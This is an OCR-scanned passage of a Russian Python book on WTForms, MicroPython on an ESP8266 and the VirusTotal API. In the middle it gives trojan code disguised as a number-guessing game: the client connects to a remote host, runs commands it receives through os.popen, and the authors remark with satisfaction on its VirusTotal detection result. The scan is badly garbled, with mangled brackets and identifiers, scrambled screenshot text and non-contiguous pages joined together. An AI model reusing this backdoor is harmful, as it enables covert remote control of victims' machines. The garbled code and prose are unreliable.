К каждому полю формы мы можем обратиться отдельно по ее атрибуту:

type(form.first_name}
wtforms.fields.core.StringField
В самом простом случае это все. Теперь инстанс нашей формы можно передать

шаблонизатору для отображения:

def new(self, request}:
user_ form = UserForm (}
render ( 'new_ user. html',
'form' : user _ form,
}}

Метод render, конечно, специфичен. В твоем случае методы рендеринга будут

определяться фреймворком и шаблонизатором, который ты используешь.
Отлично, передали нашу форму в шаблонизатор. Как ее отрендерить в шаблоне?
Проще простого. Напомню, что мы рассматриваем процесс на примере

Jinja2.

{{ form.first_name.label }}
{% if form.first_name.errors %}

(% for error in form.first name.errors %}
{{ error }}{% endfor %}

{% endif %}
{{ form. first _name (} }}
Код выше с

user _ form в качестве form будет преобразован шаблонизатором в сле­

дующую разметку.

First name

L I - 42 --LI
Здесь происходит вот что.

1.

В первой строке мы обратились к атрибуту label поля first name нашей формы.
В нем содержится НТМL-код лейбла нашего поля first_name. Текст берется из
описания класса формы из соответствующего атрибута поля.

2.

Затем мы проверили содержимое списка errors нашего поля. Как нетрудно дога­
даться, в нем содержатся ошибки. На данный момент ошибок в нем нет, поэтому

блок не вывел ничего. Однако если бы эта форма уже заполнялась и была запол­
нена неверно (например, валидатор от

6 до 30

по длине не пропустил значение),

то в список поля попала бы эта ошибка. Мы увидим работу валидаторов дальше.

3.

И наконец, в последней строке мы рендерим сам тег input, вызывая метод

. first name ()нашего инстанса формы.
Все очень гибко. Мы можем рендерить все атрибуты поля или только сам тег input.
Нетрудно догадаться, что теперь мы можем сделать то же самое и для всех осталь­

ных полей, отрендерив все поля формы или только их часть соответствующими им
встроенными НТМL-виджетами.

Парсинг пейлоада (rosт /users)
Следующий шаг

-

получить данные формы на сервере и как-то их обработать.

Этап состоит из нескольких шагов.

1.

Получить РОSТ-данные (это может происходить по-разному в зависимости от

того, используешь ли ты фреймворк и какой конкретно, если используешь).

2.

Распарсить РОSТ-данные через наш инстанс формы.

3.

Проверить (валидировать) корректность заполнения. Если что-то не так, вернуть

ошибки.

4.

Заполнить данными формы требуемый объект. Это опционально, но, если ты
пользуешься

ORM,

велика вероятность, что по данным формы тебе нужно соз­

дать объект в БД. В нашем случае это пользователь, объект класса user.

async def create(self, request):
# Получаем payload. Для aiohttp это не
# способ для больших payload. Взят для
payload = await request.post()
# Создаем новый инстанс
# пришедшими с клиента
form = UserForm(payload)
#

самый оптимальный

краткости

нашей формы и заполняем его данными,

Если данные с клиента проходят валидацию

if form.validate():
# Создаем новый
user = User ()

объект

User

L]--

Сохраняем юзера

в БД,

--L]

данными формы

# Заполняем его атрибуты
form.populate_obj (user)

#
#

43

редиректим дальше ...

Мы отрендерили форму, получили данные с клиента обратно, проверили их и запи­
сали в БД. При этом мы не погружались во внутренности

HTML, ID

полей, имена

и их сопоставления на клиенте и сервере. Не правда ли, удобно?

Опции для частичного парсинга пейлоада
Если ты внимательно читал предыдущий раздел, у тебя непременно возник вопрос:
а как модель пользователя заполняется данными формы? Ведь форма ничего не

знает о полях

ORM

(которой может не быть). Так как же происходит маппинг

полей формы к объекту в функции populate из

WTForms?

Проще всего посмотреть

КОД ЭТОЙ функции.

Signature: form.populate_obj (obj)
Source:
def populate_obj (self, obj):
Populates the attributes of the passed 'obj' with data from the form's
fields.
:note: This is а destructive operation; Any attribute with the same name
as а field will Ье overridden. Use with caution.
for name, field in iteritems(self._fields):
field.populate_obj (obj, пате)
Как видишь, функция получает список всех полей нашей формы, а затем, итериру­
ясь по списку, присваивает атрибутам предоставленного объекта значения. Вдоба­
вок ко всему это происходит рекурсивно: это нужно для полей-контейнеров

-

FormFields (https://wtforms.readthedocs.io/en/stable/fields/#wtforms.fields.FormField).
В большинстве случаев это работает отлично. Даже для полей-ассоциаций: у поль­

зователя может быть поле, значением которого выступает реляция в БД, например
группа, к которой принадлежит пользователь. В этом случае воспользуйся классом

wtforms. fields. SelectField,

передав

choices= [ ... ]

со списком возможных значений

реляций, и на сервере при наличии ОRМ это будет распознано без проблем.
Однако иногда все-таки нужно автоматически заполнить атрибуты класса только
частью полей формы, а остальные как-то препроцессить. Варианта два.
О Не использовать встроенную функцию populate_obj вообще и обрабатывать все
поля вручную, получая доступ к ним через атрибут .data каждого поля формы
вроде

form.f_name.data.

О Написать свой метод для заполнения объекта данными формы.

LI-- 44 --LI
Мне больше нравится второй вариант (хотя он и имеет ограничения). Например,
так:

from wtforms.compat import iteritems, itervalues, with metaclass
def populate_selective(form, obj, exclude=[]):
for name, field in filter(lamЬda f: f[O] not in exclude, iteritems(form._fields)):
field.populate_obj (obj, name)
Теперь можно использовать из формы только те поля, которые нужны

populate_selective(form, user, exclude=['f_name', 'l_name', 'city',])
А с остальными разбираться по собственной логике.

Валидаторы
Еще один вопрос, ответ на который ты наверняка уже понял по контексту: как ра­

ботает функция form. validate ()? Она проверяет как раз те самые списки валидато­
ров с параметрами, которые мы указывали при определении класса формы. Давай

попробуем позаполнять различные значения в строковых полях, которые в реаль­
ном приложении в нашу форму будет предоставлять с клиента пользователь, и по­
смотрим, как среагирует валидатор.

form = UserForm ()
form.first name.data = 'Johnny'
form.last name.data = 'Doe'
form.email.data = 'invalid email'
form.password.data = 'super-secret-pass'
Попробуем валидировать эту форму.

form. validate ( 1
False
Валидация не прошла. Ты помнишь, что в каждом поле есть список errors, который
будет содержать ошибки, если они произойдут при заполнении формы. Посмотрим
на них.

form.first name.errors
[]

Все

правильно,

в

первом

[validators.Length(min=S,

поле

ошибок

не

max=ЗOI] пройден, т. к. имя

венному валидатору. Посмотрим другие.

form.last name.errors
['Field must

Ье

between 5 and 30 characters long. ']

было,

Johnny

список

валидаторов

удовлетворяет единст­

LJ-- 45 --LJ
form.email.errors
[ 'Invalid email address. ']
form.password.errors
[]

Во втором и третьем случаях сработали валидаторы, а наш шаблон (ниже) выведет
список ошибок.

{% if form.first_name.errors %}

{% for error in form.first name.errors %}
{{ error }}{% endfor %}

{% endif %)
Разумеется, чтобы все сработало, для повторного дозаполнения формы тебе нужно
передавать этот же самый инстанс формы в шаблонизатор, а не создавать новый.
Кроме списка ошибок он будет содержать предзаполненные поля с предыдущей по­
пытки, так что пользователю не придется вводить все по новой.

С полным списком встроенных валидаторов можно ознакомиться здесь:

https://

wtforms.readthedocs.io/en/staЫe/validators/#built-in-validators, а если их не хватит,

то

WTFonns

позволяет определить и собственные

(https://wtforms.readthedocs.io/

е n/sta Ыe/validators/#custo m-validators).

Динамическое изменение
свойств полей формы
Ты уже знаешь, что у полей формы есть набор общих атрибутов, которые можно
указать у всех классов полей. Например, описание, которое идет первым позицион­

ным аргументом в любом поле. Другие примеры:

LJ id LJ name -

атрибут

ID

НТМL-виджета при рендеринге;

имя виджета (свойство name в

HTML),

по которому будет делаться сопос-

тавление;

LJ

ошибки, валидаторы и т. д.

Все это возможно благодаря тому, что все классы полей наследуются от базового
класса

wtforms. fields. Field

(https://wtforms.readthedocs.io/en/staЫe/fields/#the­

field-base-class ).
Однако иногда может так случиться, что в уже определенной форме нужно поме­
нять значение одного из полей. Случаи бывают разные.

LJ Для одного из строковых полей нужно установить дефолтное значение.
О Для второго поля нужно просто добавить класс при рендеринге, потому что одна

и та же форма используется во многих местах в приложении. И в этом нужен
особый класс.

L]--

46

--L]

L] Еще для одного поля нужен dаtа-атрибут для клиентского кода со строкой, содержащий

APl-endpoint для

динамического фетчинга данных.

Все эти моменты лучше настраивать прямо перед самым рендерингом формы у го­
тового инстанса формы: совершенно незачем тащить это в определение класса. Но

как это сделать? Вспомним, что наша форма

-

это обычный Руthоn-объект и мы

можем управлять его атрибутами!
Зададим дефолтное значение поля first_ name (другой вариант

-

через ctefault):

form.first name.data = 'Linus'
У поля любого класса есть словарь rencter _ kw. Он предоставляет список атрибутов,
которые будут отрендерены в НТМL-теге (виджете).

# Теперь поле хорошо выглядит с Bootstrap!
form.last_name.render_kw('class'] = 'form-control'
Ну и зададим кастомный dаtа-атрибут для проверки на дублирование аккаунта:

form.users.render_kw['data-url']

request.app.router('api_users search'J .url for()

Сборные и наследуемые формы
В самом начале мы говорили, что одна и та же форма может использоваться в раз­
ных ситуациях. Обычно мы выносим описание формы в отдельный модуль, а затем
его импортируем. Но в одном случае у нас должен быть только минимальный на­
бор полей (атрибутов) формы, а в другом

-

расширенный. Избежать дублирования

определений классов форм нам поможет их наследование.
Определим базовый класс формы:

class UserBaseForm(Form):
email = StringField ( 'Email', [validators. Email () ] )
password = StringField ( 'Password')
В нем будут только те поля, которые необходимы для создания пользовательского
аккаунта. А затем определим расширенный, который будет наследоваться от базо­
вого:

class UserExtendedForm(UserBaseForm):
first _ name = StringField ( 'First name', [validators. Length (min=4, max=25) ] )
last _ name = Stringfield ( 'Last name', [validators. Length (min=4, max=25) ] )
Создадим две формы и посмотрим, какие поля у них есть.

base form = UserBaseForm ()
base- form. - fields
OrderedDict(( ('email', ),
('password', )])

1:1-- 47 --1:1
А теперь посмотрим, что содержит наша расширенная форма:

extended from = UserExtendedForm()
extended- frorn. - fields
OrderedDict([ ('ernail', ),
('password', ),
('first_name', ),
('last_name', )])
Как видишь, она содержит не только описанные поля, но и те, которые бьmи опре­
делены в базовом классе. Таким образом, мы можем создавать сложные формы,
наследуя их друг от друга, и использовать в текущем контроллере ту, которая нам

в данный момент необходима.

Другой способ создания сложных форм

- уже упомянутый FormField (https://
wtforms.readthedocs.io/en/stable/fields/#wtforms.fields.FormField). Это отдельный
класс поля, который может наследовать уже существующий класс формы. Напри­
мер, вместе с Post можно создать и нового user для этого поста, префиксив названи­
ям полей.

Заполнение реляционных полей

(one-to-many, many-to-many)
Одна (не)большая проблема при построении форм

-

это реляции. Они отличаются

от обычных полей тем, что их представление в БД не соответствует

as is

тому, что

должно отображаться в поле формы, а при сохранении они могут требовать пре­
процессинга. И эту проблему легко решить с

WTForms.

Поскольку мы знаем, что

поля формы можно изменять динамически, почему бы не использовать это свойст­
во для ее предзаполнения объектами в нужном формате?
Разберем простой пример: у нас есть форма создания поста, и для него нужно ука­
зать категорию и список авторов. Категория у поста всегда одна, а авторов может

быть несколько. Кстати, схожий способ используется прямо на

зую

WTForms

на бэкенде «Хакера», РНР с

WP у

Xakep.ru

(я исполь­

нас только в публичной части).

Отображать реляции в форме мы можем двумя способами.

1:1

В обычном , который будет отрендерен как выпадающий список. Этот
способ подходит, когда у нас мало возможных значений. Например, список ка­
тегорий поста

1:1

-

их не более дюжины, включая скрытые.

В динамически подгружаемом списке, аналогичном списку тегов, которые ты

встречаешь на других сайтах. Для реализации его нам поможет простой трюк.

В первом варианте у нашей формы есть поле category, в базе оно соответствует по­
лю category_ id. Чтобы отрендерить это поле в шаблоне как select, мы должны соз­
дать у формы атрибут category класса SelectField. При рендеринге в него нужно

передать список из возможных значений, который формируется запросом в БД

L]--

48

--L]

(читай: список возможных категорий для поста), а также установить дефолтное зна­
чение.

# Импортируем хелпер шаблонов, которьм представляет объект Category
# как строку в нужном формате, анало г
str . Нужно для удобства
from admin.template_helpers.categories import humani ze_category
# Выберем в се категории из БД
categories = Category.select() .all()

# Установим дефолтное значение первой из них
f orm.categories.data = [str(categories [OJ .id)]
# Передадим с писок всех в озможнь~ вариа нт о в для Sel ect fie l d
# В шаблоне отрендерится с выбранным указанным
# Формат - список кортежей, где (< иден тификатор>, < ч еловекочитаемое предс тавление> )
f orm.categories. choi ces = [ (c.id, humani ze_category(c )) for с in categories ]
В результате у поля списка появятся предзаполненные значения (рис.

4.1 ).

Рубрика статьи

1

~

Cover Story·
Взлом
Приватность
Трюки
Кодинг

Admin
Geek

Комментарии к идее
Рис.

4.1.

Предзаnолненный

(0)

select с установленным

значением через WТForms

С авторами постов (пользователями) или журналами такой трюк не пройдет. Пер­
вых у нас около ста тысяч, и, разу меется, ни рендерить, ни искать в таком гигант­

ском

select'e

будет невозможно. Один из вариантов решения задачи -

вать библиотеку

Select2 (https://select2.org/).

использо­

Она позволяет превратить любой input

в динамически подгружаемый список а-ля список тегов простым присвоением

нужного класса, а данные подгружать по предоставленному
делать это через знакомый словарь

URL.

Мы уже умеем

r ender _ kw.

f orm . issues.render_kw['class'] = 'live_multiselect'
f orm.issues.render_kw['data-url'J = r equest.app.route r[' api issues_s e arch ' ] .url_for ()
А дальше простым добавлением в шаблон jQuеrу-функции превращаем все input
с нужным классом в динамиче.;ки подгружаемые селекторы (обработчик поиска,
разумеется, должен быть на сервере):

L I - 49 - L I
$(".live_multiselect") .each(function (index) {
let url = $(this).data('url')
let placeholder = $(this) .data('placeholder')
$ (this) . select2 ( {
tags: true,
placeholder: placeholder,
minimшninputLength: 3,
ajax: {
url: url,
delay: 1000,
dataType: 'json',
processResults: function (data) {
let querySet = { results: data };
return querySet

}) ;

}) ;

В результате получаем удобный переиспользуемый виджет (рис .

4.2).

Номера, в которые идет статья

~ж'""""""'"'•'"'" 2з~ нщ.;;щ.;щм 1+шч.1.

26-09-2018
Создать статью из идеи!

Рис.

4.2.

Динамически nодrружаемый селектор средствами WТForms и

Select2

Кастомные виджеты и расширения
Пример выше может показаться частным, однако он подводит к важной проблеме.
Хорошо, что наша задача решается плагином
добавлением одного класса и щепотки

JS

Select2,

который позволяет буквально

получить необходимую функциональ­

ность. Однако как быть, если нам нужен полностью собственный шаблон для поля
или даже полностью свое сложное поле с кастомным шаблоном, поведением и ва­
лидаторами?
К счастью, WTFoпns позволяет создавать нам собственные

виджеты (классы­

генераторы НТМL-шаблонов для рендеринга полей). Мы можем сделать это двумя

способами:

50

L]--

--L]

L] Создать собственный на базе существующего

( class

CustomWidget (Textinput) : ),

расширив его поведение и переопределив методы, включая

_

call _. Например,

обернуть в дополнительный НТМL-шаблон.

L] Создать

полностью

собственный

виджет,

не

наследуясь

от

существующих

встроенных.

Список встроенных виджетов можно найти здесь

(https://wtforms.readthedocs.io/

en/staЫe/widgets/#built-in-widgets), рекомендации и пример полностью кастомного

также

присутствуют

в

документации

(https://wtforms.readthedocs.io/en/staЫe/

widgets/#custom-widgets ).
Интегрировать собственный виджет тоже несложно. У каждого поля есть атрибут

widget. Мы можем указать наш виджет в качестве этого kеуwоrd-аргумента при
определении поля в классе формы или, если кастомный виджет нужен не всегда,
присваивать его полю динамически.

Кроме кастомных виджетов мы можем создавать полностью кастомные поля. При­
мером

такого

поля

служит

readthedocs.io/en/latest/),

расширение

WTForms-JSON (https://wtforms-json.

которое пригодится для обработки JSОN-полей моделей.

Определить собственное поле также возможно, соответствующий пример ты най­

дешь в документации (https://wtforms.readthedocs.io/en/staЫe/fields/#custom-fields).

Вместо заключения
Возможно, после прочтения этой статьи тебе показалось, что отдельная библиотека
для генерации и обслуживания НТМL-форм

-

ненужное усложнение. И будешь

прав, когда речь идет о небольших приложениях.

Однако, когда тебе нужно обрабатывать десяток сложных форм, часть '1З них пере­
использовать и формировать динамически, декларативный способ описания полей

и правил

их парсинга позволяет не запутаться в бесконечной лапше имен и

10-шников и избавиться от монотонного труда, переложив написание шаблонного
кода с программиста на библиотеку. Согласись, это же круто!

----D

-vFiHEP
.........

для микроконтроллеров.
Учимся программировать

5. Python

одноплатные компьютеры
на языке высокого уровня
Виктор Паперно

Шугники говорят, что после трудового дня за компьютером типичный програм­

мист едет домой, садится за ПК и таким образом отдыхает. А ведь истина на самом
деле куда ужаснее этой шуrки: многие из нас, приходя с работы, посвящают остав­
шееся до сна время ... программированию микроконтроллеров. Обывателям не по­
нять, но Arduino, Teensy или ESP - действительно очень неплохое хобби. Их един­
ственный недостаток -

необходимость программировать на достаточно низком

уровне, если не на Ассемблере, то на Arduino С или Lua. Но теперь в списке ЯП для
микроконтроллеров появился Python. Точнее, MicroPython. В этой статье я поста­
раюсь максимально продемонстрировать его возможности.

С чего все началось?
Все началось с кампании на

Kickstarter.

Дэмьен Джордж

(Damien George),

разра­

ботчик из Англии, спроектировал микроконтроллерную плату, предназначенную
специально для Python. И кампания «выстрелила>>. Изначально бьша заявлена сум­

ма в

15

тысяч фунтов стерлингов, но в результате было собрано в шесть с полови­
- 97 803 фунта стерлингов.

ной раз больше

А чем эта плата лучше?
Автор проекта приводил целый ряд преимуществ своей платформы в сравнении
с Raspberry Pi и Arduino.
О Мощность

-

Arduino, здесь ис­
STM32F405 ( 168 МГц Cortex-

МР мощнее в сравнении с микроконтроллером

пользуются 32-разрядные АRМ-процессоры типа

M4, 1 Мбайт флеш-памяти, 192 Кбайт ОЗУ).
О Простота в использовании

-

язык

MicroPython

основан на

Python,

но несколько

упрощен, для того чтобы команды по управлению датчиками и моторами можно
было писать буквально в несколько строк.

52

1"]-1"] Отсутствие

MicroPython,

компилятора

чтобы

-

--1"]
запустить

программу

на

платформе

нет необходимости устанавливать на компьютер дополнительное

ПО. Плата определяется ПК как обычный USВ-накопитель

стоит закинуть на

-

него текстовый файл с кодом и перезагрузить, программа тут же начнет испол­
няться. Для удобства все-таки можно установить на ПК эмулятор терминала, ко­
торый дает возможность вписывать элементы кода с компьютера непосредст­

венно на платформу. Если использовать его, тебе даже не придется перезагру­
жать плату для проверки программы, каждая строка будет тут же исполняться
микроконтроллером.

1"] Низкая стоимость

-

в сравнении с

Raspberry Pi

платформа

PyBoard

несколько

дешевле и, как следствие, доступнее.

1"] Открытая платформа -

так же как и

Arduino, PyBoard -

открытая платформа,

все схемы будут находиться в открытом доступе, что подразумевает возмож­
ность спроектировать и создать подобную плату самому в зависимости от по­
требностей.

И что, только официальная плата?
Нет. При всех своих достоинствах

MicroPython)-

PyBoard

(так называется плата от разработчика

довольно дорогое удовольствие. Но благодаря открытой nлатфор­

~е на многих популярных платах уже можно запустить

MicroPython,

собранный

специально для нее. В данный момент существуют версии:

1"] для ВВС micro:Ьit- британская разработка, позиционируется как официальное
учебное пособие для уроков информатики;

1"]

разработка известной компании

Circuit Playground Express -

Adafruit.

Это пла­

та, включающая в себя светодиоды, датчики, пины и кнопки. По умолчанию
программируется с помощью
хожий на

1"]

Scratch)

ESP8266/ESP32

Microsoft MakeCode for Adafruit.

Это блочный (по­

редактор «кода>>;

(рис.

одна из самых популярных плат для IоТ-разра­

5.1) -

ботки. Ее можно было программировать на
пробуем установить на нее

Arduino

MicroPython.

Рис.

5.1.

Плата

ESP8266 (NodeMCU)

С и

Lua.

А сегодня мы по­

L J - 53 - L J

Подготовка к работе
Перед тем как писать программы, нужно настроить плату, установить на нее про­
шивку, а также установить на компьютер необходимые программы.
Все примеры проверялись и тестировались на следующем оборудовании:

LJ плата NodeMCU ESP8266-12E;
LJ драйвер моторов L293D;
LJ 12С-дисплей 0,96" 128 х 64;
LJ Adafruit NeoPixel Ring 16.

Прошивка контроллера

Python. Точнее, даже не он сам,
pip. Если у тебя установлен Python

Для прошивки платы нам понадобится

esptool,

распространяемая с помощью

а утилита

(неважно,

какой версии), открой терминал (командную строку) и набери:

pip install esptool

esptool надо сделать две вещи. Первое - скачать с официального
(http://micropython.org/download) версию прошивки для ESP8266. И вто­

После установки
сайта
рое

-

способ

определить адрес платы при подключении к компьютеру. Самый простой

подключиться к компьютеру, открыть

-

Arduino IDE

и посмотреть адрес

в списке портов.

Для облегчения восприятия адрес платы в примере будет /dev/ttyusвo, а файл про­
шивки переименован в esp8266.Ьin и лежит на рабочем столе.
Открываем терминал (командную строку) и переходим на рабочий стол:

cd Desktop
Форматируем флеш-память платы:

esptool.py --port /dev/ttyUSBO erase_flash
Если при форматировании возникли ошибки, значит, нужно включить режим про­
шивки вручную. Зажимаем на плате кнопки
отпуская

flash,

reset и flash.

Затем отпускаем

reset

пытаемся отформатироваться еще раз.

И загружаем прошивку на плату:

esptool.py --port /dev/ttyUSBO --baud 460800 write flash --flash size=detect
esp8266.Ьin

Взаимодействие с платой
Все взаимодействие с платой может происходить несколькими способами:

LJ

через Serial-пopт;

LJ

через веб-интерпретатор.

О

и, не

0 - - 54 - - 0
При подключении через Serial-пopт пользователь в своем терминале (в своей
командной строке) видит практически обычный интерпретатор

Рис.

Для подключения по

5.2.

Подключение через

Python (рис. 5.2).

SerialPort

есть разные программы . Для

Windows можно использо­
minicom. В качестве кросс­
платформенного решения можно использовать монитор порта Arduino IDE. Глав­
ное - правильно определить порт и указать скорость передачи данных 115200.

вать

PuTTY

Serial

или TeraTeлn . Для

pi cocom /dev/ t tyUSBO

Linux -

picocom

ил и

-Ь11 5 2 00

Кроме этого, уже создано и выложено на
щих разработку, например

EsPy

(рис.

GitHub

5.3).

несколько программ, облегчаю­

Кроме Serial-пopтa он включает в себя

редактор Руthоn-файлов с подсветкой синтаксиса, а также файловый менеджер,
позволяющий скачивать и загружать файлы на

ESP.

Но все перечисленные способы хороши лишь тогда, когда у нас есть возможность

напрямую подключиться к устройству с помощью кабеля. Но плата может быть
интегрирована в какое-либо устройство, и разбирать его только для того, чтобы об­
новить программу, как-то неоптимально. Наверное, именно для таких случаев и

был создан

WebREPL.

Это способ взаимодействия с платой через браузер с любого

устройства, находящегося в той же локальной сети, если у платы нет статического

IP,

и с любого компьютера, если такой

IP

присутствует. Давай настроим

WebREPL.

Для этого необходимо, подключившись к плате, набрать

import webrepl_setup
Появится сообщение о статусе автозапуска
ключить его автозапуск.

WebREPL

и вопрос, включить или вы­

55

С]-

в-

f*

»-

_.-tiH~o

о...

," "

f"'Яll # '@) '«eason

CD

с,.,..

Q)

Ма/IСЮШ (score: 100)

l>'WeЬ

ф ВackDoor.МeterpJeter157

Grid1nюf\

ф Tt()tllf'l.Win64.G@n.oa:S1

.......,"

Q)

МcAfee-GW-Edition

ф 8ehavesLЖe.Wt1164 ~wc

Microsoft

ф Trofan:W"32/Cryptlnject'ml

Yandex

ф Trotaf1.PWS.Agent!JOM90XpuXLA

Zillya

ф Trojan Dtsco Script.!05

Acronis

0

Undetected

Ad-A/Nare

0

Undetected

AegiWll>

0

Undet..:ted

Ahnl.Ь-VЗ

0

Undetected

Al1Ьehe

0

Undetected

мaticious.. qa5aoa

frojan.PSW.Python.м

Рис.

6.2.

Результат проверки скрипта на

VirusTotal

Троян
По задумке, троян представляет собой клиент-серверное приложение с клиентом на

машине атакуемого и сервером на запускающей машине. Должен быть реализован
максимально удаленный доступ к системе.

Как обычно, начнем с библиотек:

import
import
import
import

random
socket
threading
os

Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задер­

живаться долго не буду.

# Создаем функцию
def game():

#

Берем случайное число от О до

numЬer =

nоnь~ок

Флаг завершения игры

done
#

1000

random.randint(O, 1000)

# Счетчик
tries = 1
#

игры

=

False

Пока игра не закончена,

while not done :
guess = input ( 'Введите

просим ввести новое число

число:

')

[j--

# Если ввели число
if guess.isdigit():
# Конвертируем его в
guess = int(guess)
# Проверяем, совпало

72 - - [ j

целое

ли оно с загаданным;

если да,

опускаем флаг и пишем
сообщение о победе

if guess == nwnЬer:
done = True
print(f'Tы победил!

#

Я загадал

Если же мы не угадали,

{guess}.

Ты использовал

{tries}

попыток.')

прибавляем попытку и проверяем число

на больше/меньше

else:
tries += 1
if guess > nwnЬer:
print ( 'Загаданное число меньше! ' )
else:
print ('Загаданное число больше 1 ' )
# Если ввели не число - выводим сообщение об
else:
print ( 'Это не число от О до 1 ООО! ' }

ошибке и просим ввести число заново

Зачем столько сложностей с проверкой на число? Можно было просто написать

guess = int (input ( 'введите число: ' ) ) . Если бы мы написали так, то при вводе чего
угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, т. к. ошибка
заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не
проговаривать заново базовые вещи.

# Создаем функцию трояна
def trojan():
# IР-адрес атакуемого
ноsт = '192.168.2.112'
# Порт, по которому мы
РОRТ = 9090

работаем

# Создаем эхо-сервер
client = socket.socket(socket.AF_INET,
client. connect ( (HOST, РОRТ))

socket.SOCK_STREAМ)

while True:
# Вводим команду серверу
server command = client.recv(1024) .decode('cp866')
#Если команда совпала с ключевым словом 'cmdon', запускаем

режим работы
с

if server command == 'cmdon':
cmd mode = True
# Отправляем информацию на

сервер

client.send('Пoлyчeн доступ к терминалу'

continue

.encode('cp866'))

терминалом

L]#Если команда совпала

73

-L]

'cmdoff',

с КJIЮчевым словом

вь~одим из режима работы
с

if server coпunand == 'cmdoff':
cmd mode = False
# Если запущен режим работы с терминалом,
i f cmd mode:

терминалом

вводим команду в терминал через сервер

os.popen(server_coпunand)

#

Если же режим работы с терминалом выключен

-

можно вводить любые команды

else:
if server coпunand == 'hello':
print ( 'Hello Wor ld ! ' )
#

Бели команда дoUl/1a до клиента

client.send(f'{server_coпunandl

-

выслать ответ

успешно отправлена!'

.encode('cp866'1)

Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым язы­
ком

-

это условная вилка или розетка для программ. Существуют клиентские и

серверные сокеты: серверный прослушивает определенный порт (розетка), а кли­
ентский подключается к серверу (вилка). После того как установлено соединение,

начинается обмен данными.

socket.socket (socket.AF_INET, socket.SOCK_STREAМ) создает эхо­
сервер (отправили запрос- получили ответ). AF_INET означает работу С 1Рv4-

Итак, строка

client

=

адресацией, а sоск_STREAМ указывает на то, что мы используем ТСР-подключение

вместо
Строка

UDP,

где пакет посылается в сеть и далее не отслеживается.

client.connect( (HOST, PORT))

указывает IР-адрес хоста и порт, по которым

будет производиться подключение, и сразу подключается.
Функция

client.recv(1024)

принимает данные из сокета и является так называемым

блокирующим вызовом. Смысл такого вызова в том, что, пока команда не переда­
стся или не будет отвергнута другой стороной, вызов будет продолжать выполнять­

ся.

1024 -

это количество задействованных байтов под буфер приема. Нельзя бу­

дет принять больше

1024

байт

(1

Кбайт) за один раз, но нам это и не нужно: часто

ты руками вводишь в консоль больше
личить размер буфера не стоит

-

1ООО

символов? Пытаться многократно уве­

это затратно и бесполезно, т. к. большой буфер

нужен примерно никогда.

Команда

decode ('ер В 66' )

декодирует полученный байтовый буфер в текстовую

866). Но почему
chcp (рис. 6.3).

строку согласно заданной кодировке (у нас

в командную строку и введем команду

Рис.

6.3. Текущая

кодовая страница

именно ср866? Зайдем

0 - - 74

--о

Кодировка по умолчанию для русскоговорящих устройств

-

866,

где кириллица

добавлена в латиницу. В англоязычных версиях системы используется обычный

Unicode,

т. е. utf-8 в

Мы же говорим на русском языке, так что поддержи­

Python.

вать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после

номер. Юникод имеет номер

chcp ее

65001.

При приеме команды нужно определить, не служебная ли она. Если так, выполняем
определенные действия, иначе, если включен терминал, перенаправляем команду

туда. Недостаток

результат выполнения так и остается необработанным, а его

-

хорошо бы отправлять нам. Это будет тебе домашним заданием: реализовать дан­
ную функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.

Результат проверки клиента на

DE'!eCТION

VirusTotal

порадовал (рис.

6.4).

a044cf2Ьc34&Ьfcf
E:\Sy;temalsSuite\Procmon64.exe
O..illionTrne: 01 .1..
SUCCESS
10888 !i}..Quer)'(Jpen
E:\Syointemals5uite\Procmon64.e>',
API -функции_2>' ,
АРI-функции _ 3>' ,

[

2>' :
_ 1>',

[

DLL-библиотеки

('.
auюrrwrн:aly •hat~ rtжn wrth m. s«utfty commt.111ty

fll.E

Рис.

Версии

10.2.

Вот эдесь лежит ключ доступа к

API VirusTotal

API

На момент написания этих строк актуальная версия

API

имеет номер

2 (https://

www.virustotal.com/en/documentation/puЫic-api/). Но при этом уже существует и
новый вариант

Эта версия

- номер 3 (https://developers.virustotal.com/v3.0/reference#overview).
API пока еще находится в стадии беты, но ее уже вполне можно исполь­

зовать, тем более что возможности, которые она предоставляет, гораздо шире.
Разработчики пока что рекомендуют применять третью версию только для экспе­

риментов либо для некритичных проектов. Мы же разберем обе версии. Ключ дос­
тупа для них одинаков.

LJ-- 127 --LJ

API VirusTotal.

Версия

2

Как и в случае с другими популярными веб-сервисами, работа с

API

заключается

в пересылке запросов по НТТР и получении ответов.

API

второй версии позволяет:

LJ

отправлять файлы на проверку;

LJ

получать отчет по проверенным ранее файлам, с использованием идентификато­
ра файла (SНА-256, SНА-1 или MDS-xeш файла либо значение scan_ id из ответа,
полученного после отправки файла);

LJ
LJ

отправлять

URL для

сканирования на сервер;

получать отчет по проверенным ранее адресам с использованием либо непо­
средственно

URL

URL,

либо значения scan_ id из ответа, полученного после отправки

на сервер;

LJ

получать отчет по IР-адресу;

LJ

получать отчет по доменному имени.

Ошибки
Если запрос был правильно обработан и ошибок не возникло, будет возвращен
код

200

(ОК).

Если же произошла ошибка, то могут быть такие варианты:

LJ 204 -

ошибка типа

Request rate limit exceeded.

Возникает, когда превышена кво­

та допустимого количества запросов (для бесплатного ключа квота составляет
два запроса в минуту);

LJ 400 -

ошибка типа

Bad request.

Возникает, когда некорректно сформирован за­

прос, например если нет нужных аргументов или у них недопустимые значения;

LJ 403 -

API,

ошибка типа

Forbldden.

Возникает, если пытаться использовать функции

доступные только с платным ключом, когда его нет.

При правильном формировании запроса (код состояния НТТР

ответ будет

представлять собой объект

в теле кото­

- 200)
JSON (https://ru.wikipedia.org/wiki/JSON),

рого присутствуют как минимум два поля:

LJ response code -

если запрашиваемый объект (файл,

мена) есть в базе

VirusTotal

URL,

IР-адрес или имя: до­

(т. е. проверялся раньше) и информация об этом

объекте может быть получена, то значение этого поля будет равно единице; если

запрашиваемый объект находится в очереди на анализ, значение поля будет
если запрашиваемый объект отсутствует в базе

LJ verbose _ msg
пример,

VirusTotal -

-2;

равно нулю;

предоставляет более подробное описание значения response _ code (на­

Scan finished, information embedded

после отправки файла на сканирова­

ние).

Остальная информация, содержащаяся в ответном объекте
какая функция

API

была использована.

JSON,

зависит от того,

LI-- 128 - L I
Отправка файла на сервер для сканирования
Для отправки файла на сканирование необходимо сформировать РОSТ-запрос на
адрес

https://www.virustotal.com/vtapi/v2, при этом в запросе нужно указать ключ
API и передан, сам файл (здесь есть ограничение на размер файла- не
32 Мбайт). Это может выглядеть следующим образом (используем Python):

доступа к
